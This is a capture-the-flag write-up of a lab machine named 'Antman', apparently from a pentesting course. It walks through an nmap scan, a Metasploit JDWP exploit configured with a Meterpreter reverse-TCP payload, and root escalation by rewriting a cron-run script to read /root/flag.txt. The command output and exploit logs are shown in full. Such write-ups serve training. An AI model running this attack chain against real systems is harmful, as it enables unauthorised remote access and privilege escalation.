

Antman writeup

Task descriptions

- Perform a port scan on the target system. Scan for the 2000 most common ports, including a version scan. What service is running on TCP port 4141?
- Compromise the system using the Metasploit module "java_jdwp_debugger". You can find the flag in the root directory of the server.
- The /opt/ directory contains a way to escalate your privileges to "root". Can you find it? You can get a root flag in "/root/flag.txt".



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let's try by following the task(which I usually don't do at first)

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(kalik@kalik)-[~/Documents/pentesting-thu-2022/containers/antman]
$ nmap --top-ports 2000 -sV 172.17.0.2
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-23 14:33 CET
Nmap scan report for 172.17.0.2
Host is up (0.000078s latency).
Not shown: 1996 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
80/tcp    open  http   Apache httpd 2.4.29 ((Ubuntu))
4141/tcp  open  jdwp   Java Debug Wire Protocol (Reference Implementation) version 1.8 1.8.0_352
8009/tcp  open  ajp13  Apache Jserv (Protocol v1.3)
8080/tcp  open  http   Apache Tomcat 8.5.16
```

4141 port - JDWP

opening Metasploit:

searching required exploit -

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msf6 > search java debug
Matching Modules
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#	Name	Check	Description	Disclosure Date	Rank
0	exploit/multi/http/struts_dev_mode	Yes	Apache Struts 2 Developer Mode OGNL Execution	2012-01-06	excellent
1	exploit/windows/http/hp_imc_java_deserialize	Yes	HP Intelligent Management Java Deserialization RCE	2017-10-03	excellent
2	exploit/windows/http/hp_nnm_webappmon_ov_java_locale	No	HP NNM CGI webappmon.exe OvJavaLocale Buffer Overflow	2010-08-03	great
3	exploit/multi/misc/java_jdwp_debugger	Yes	Java Debug Wire Protocol Remote Code Execution	2010-03-12	good
4	exploit/windows/browser/ms11_050_mshtml_cobjectelement	No	MS11-050 IE mshtml!CObjectElement Use After Free	2011-06-16	normal
5	exploit/multi/http/sun_jsws_dav_options	Yes	Sun Java System Web Server WebDAV OPTIONS Buffer Overflow	2010-01-20	great

I did set up all the Module options with basic SET command, this is the how it looks like:

```
msf6 exploit(multi/misc/java_jdwp_debugger) > show options
Module options (exploit/multi/misc/java_jdwp_debugger):
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Name	Current Setting	Required	Description
RESPONSE_TIMEOUT	10	yes	Number of seconds to wait for a server response
RHOSTS	172.17.0.2	yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	4141	yes	The target port (TCP)
TMP_PATH		no	A directory where we can write files. Ensure there is a trailing slash

and the options for payload -

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Payload options (linux/x64/meterpreter/reverse_tcp):
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Name	Current Setting	Required	Description
LHOST	192.168.188.138	yes	The listen address (an interface may be specified)
LPORT	4141	yes	The listen port

Exploiting this baby was a piece of cake, here's how it went:

```
msf6 exploit(multi/misc/java_jdwp_debugger) > exploit
[*] Started reverse TCP handler on 192.168.188.138:4141
[*] 172.17.0.2:4141 - Retrieving the sizes of variable sized data types in the target VM...
[*] 172.17.0.2:4141 - Getting the version of the target VM...
[*] 172.17.0.2:4141 - Getting all currently loaded classes by the target VM...
[*] 172.17.0.2:4141 - Getting all running threads in the target VM...
[*] 172.17.0.2:4141 - Setting 'step into' event...
[*] 172.17.0.2:4141 - Resuming VM and waiting for an event...
[*] 172.17.0.2:4141 - Received 1 responses that are not a 'step into' event...
[*] 172.17.0.2:4141 - Deleting step event...
[*] 172.17.0.2:4141 - Disabling security manager if set...
[*] 172.17.0.2:4141 - Security manager was not set
[*] 172.17.0.2:4141 - Dropping and executing payload...
[*] Sending stage (3045348 bytes) to 172.17.0.2
[*] 172.17.0.2:4141 - Deleted /tmp/YLFrh
[*] Meterpreter session 1 opened (192.168.188.138:4141 -> 172.17.0.2:41204) at 2022-12-23 15:22:22 +0100

meterpreter > ls
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we got meterpreter and if we ls command we get interesting files and directories, one of them is a flag, which is flag_4_antman.txt. When we cat it we get: flag_k1ll1ng_bugs_1s_h4rd

```
meterpreter > ls
Listing: /
Mode                Size      Type    Last modified     Name
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100755/rwxr-xr-x    0        fil     2022-12-23 14:21:59 +0100 .dockerenv
040755/rwxr-xr-x   4096     dir     2022-12-23 14:21:09 +0100 bin
040755/rwxr-xr-x   4096     dir     2018-04-24 10:34:22 +0200 boot
040755/rwxr-xr-x    340     dir     2022-12-23 14:21:59 +0100 dev
040755/rwxr-xr-x   4096     dir     2022-12-23 14:21:59 +0100 etc
100644/rw-r--r--    25       fil     2022-12-02 11:45:51 +0100 flag_4_antman.txt
040755/rwxr-xr-x   4096     dir     2018-04-24 10:34:22 +0200 home
040755/rwxr-xr-x   4096     dir     2017-05-23 13:32:29 +0200 lib
040755/rwxr-xr-x   4096     dir     2022-10-19 21:28:39 +0200 lib64
040755/rwxr-xr-x   4096     dir     2022-10-19 21:28:01 +0200 media
040755/rwxr-xr-x   4096     dir     2022-10-19 21:28:01 +0200 mnt
040755/rwxr-xr-x   4096     dir     2022-12-23 14:21:51 +0100 opt
040555/r-xr-xr-x    0        dir     2022-12-23 14:21:59 +0100 proc
040700/rwx-----   4096     dir     2022-12-23 14:21:56 +0100 root
040755/rwxr-xr-x   4096     dir     2022-12-23 14:22:00 +0100 run
040755/rwxr-xr-x   4096     dir     2022-12-23 14:21:09 +0100/sbin
040755/rwxr-xr-x   4096     dir     2022-10-19 21:28:01 +0200/srv
100644/rw-r--r--   684      fil     2022-12-23 14:22:02 +0100 supervisor.log
100644/rw-r--r--    2        fil     2022-12-23 14:21:59 +0100 supervisor.pid
040555/r-xr-xr-x    0        dir     2022-12-23 14:21:59 +0100 sys
041777/rwxrwxrwx   4096     dir     2022-12-23 15:22:22 +0100 tmp
040755/rwxr-xr-x   4096     dir     2022-10-19 21:28:01 +0200 usr
040755/rwxr-xr-x   4096     dir     2022-12-23 14:20:54 +0100 var
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Let's go to the Task 3 now

-So the most interesting directory was /opt with /admin subdirectory

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Listing: /opt/admin
Mode                Size      Type    Last modified     Name
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100755/rwxr-xr-x   144      fil     2022-12-02 11:45:51 +0100 delete-logs.sh
040755/rwxr-xr-x   4096     dir     2022-12-23 14:21:52 +0100 logs

meterpreter > cat delete-logs.sh
#!/bin/bash

# Delete any file in the log directory
# This script is executed by root every 2 minutes (via cron job)

rm -rfv /opt/admin/logs/*
```

we cat the file and see what it does, read the comments

let's go to shell environment

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id
uid=1000(tomcat) gid=1000(tomcat) groups=1000(tomcat)
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our username is tomcat

and fun fuckt, we are the owner of the file "delete-logs.sh"

```
drwxr-xr-x 1 tomcat tomcat 4096 Dec 23 13:21 .
drwxr-xr-x 1 root   root   4096 Dec 23 13:21 ..
-rwxr-xr-x 1 tomcat tomcat  191 Dec 23 15:40 delete-logs.sh
drwxr-xr-x 1 tomcat tomcat 4096 Dec 23 15:44 logs
```

so what I did was I downloaded it to my local environment and edited it so it would return the content of the flag to o.txt in /opt/admin/logs

```
#!/bin/bash

# Delete any file in the log directory
# This script is executed by root every 2 minutes (via cron job)

rm -rfv /opt/admin/logs/*
cat /root/flag.txt > '/opt/admin/logs/o.txt'
```

then I uploaded it back to meterpreter and overridden the existing file.

After 2 minutes I got the flag:

Mode	Size	Type	Last modified	Name
100644/rw-r--r--	27	fil	2022-12-23 16:42:01 +0100	o.txt

```
meterpreter > cat o.txt
flag_g3t_r00t_or_d1e_tryingmeterpreter > cd ..
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flag_g3t_r00t_or_d1e_trying